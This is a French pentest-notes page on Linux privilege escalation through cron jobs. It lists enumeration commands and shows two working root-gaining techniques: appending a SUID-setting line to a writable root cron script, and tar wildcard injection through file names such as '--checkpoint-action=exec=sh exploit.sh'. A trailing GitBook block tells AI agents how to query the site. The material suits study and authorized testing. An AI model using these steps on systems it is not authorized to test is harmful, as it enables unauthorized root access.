> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/cron-jobs.md).

# Tâches Cron

Les tâches cron créent des chemins d’élévation de privilèges lorsque des tâches récurrentes exécutées en root lancent des scripts inscriptibles, des chemins relatifs non sûrs ou des processeurs vulnérables. L’essentiel est de prouver qu’un utilisateur aux privilèges faibles contrôle quelque chose qu’une tâche planifiée privilégiée exécutera.

## Méthodologie

* Passez en revue les crontabs système, les répertoires cron, les minuteurs et les scripts inscriptibles.
* Utilisez pspy64 pour observer les processus de courte durée sans être root.
* Vérifiez si la tâche utilise des valeurs PATH non sûres, des fichiers inscriptibles ou des répertoires d’entrée contrôlés par un attaquant.

## Vérifications rapides

```bash
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron* 2>/dev/null
find /etc/cron* -type f -exec ls -la {} \; 2>/dev/null
find /var/spool/cron -type f -exec ls -la {} \; 2>/dev/null
systemctl list-timers --all
```

## Cibles Cron inscriptibles

Recherchez les scripts ou répertoires qu’une tâche cron privilégiée exécute et qu’un utilisateur aux privilèges faibles peut modifier.

```bash
find /etc/cron* -type f -writable 2>/dev/null
find / -writable -type f -path "*cron*" 2>/dev/null
```

Utilisez `pspy64` lorsque les tâches cron sont de courte durée ou ne sont pas visibles dans les fichiers statiques :

```bash
./pspy64
```

Si une tâche cron root exécute un script inscriptible, une simple voie de validation consiste à définir un bit SUID sur Bash et à attendre l’exécution planifiée :

```bash
echo 'chmod +s /bin/bash' >> /path/to/writable/script.sh
/bin/bash -p
```

### Injection de jokers

Si une tâche cron utilise des commandes d’archivage avec des jokers sur un répertoire inscriptible, les noms de fichiers peuvent devenir des options de commande.

```bash
cd /var/www/
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > exploit.sh
chmod +x exploit.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh exploit.sh"
```

Après l’exécution de la tâche cron :

```bash
/tmp/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Calculateur d’expressions cron</h4></td><td>Recherchez les expressions cron courantes, les chaînes spéciales, la syntaxe des champs, la signification des planifications et les notes d’examen de l’élévation de privilèges.</td><td><a href="/pages/0bad9f9c454c5f70c69a754a6844c60538a021a9">/pages/0bad9f9c454c5f70c69a754a6844c60538a021a9</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Énumération Cron avec pspy64</h4></td><td>Notes sur l’outil pspy64 pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le rapport.</td><td><a href="/pages/4b380c0f5b045dfd3494ff37e38b40f703cca03e">/pages/4b380c0f5b045dfd3494ff37e38b40f703cca03e</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Tâche cron avec script Bash modifié</h4></td><td>Notes Cron Jobs - Script modifié (Bash) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le rapport.</td><td><a href="/pages/e06eb9d655120e56f16434290ca4e5c07f7cd21b">/pages/e06eb9d655120e56f16434290ca4e5c07f7cd21b</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Tâche cron avec script Python modifié</h4></td><td>Notes Cron Jobs - Script modifié (Python) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le rapport.</td><td><a href="/pages/35350a4068976ae6c7163a60d5ac7f34a5fc5db2">/pages/35350a4068976ae6c7163a60d5ac7f34a5fc5db2</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Abus de Cron via ImageMagick</h4></td><td>Notes Cron Jobs - Exploitation d’ImageMagick pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le rapport.</td><td><a href="/pages/0fff4be301366073d40439c4390378ac09a63070">/pages/0fff4be301366073d40439c4390378ac09a63070</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Abus de Cron via Logstash</h4></td><td>Notes Cron Jobs (Logstash) pour l’élévation de privilèges sous Linux, avec des étapes d’énumération, des exemples d’exploitation et une validation axée sur le rapport.</td><td><a href="/pages/2beb592f2ac725c3d792cf7d977745b02ba84dd6">/pages/2beb592f2ac725c3d792cf7d977745b02ba84dd6</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/cron-jobs.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
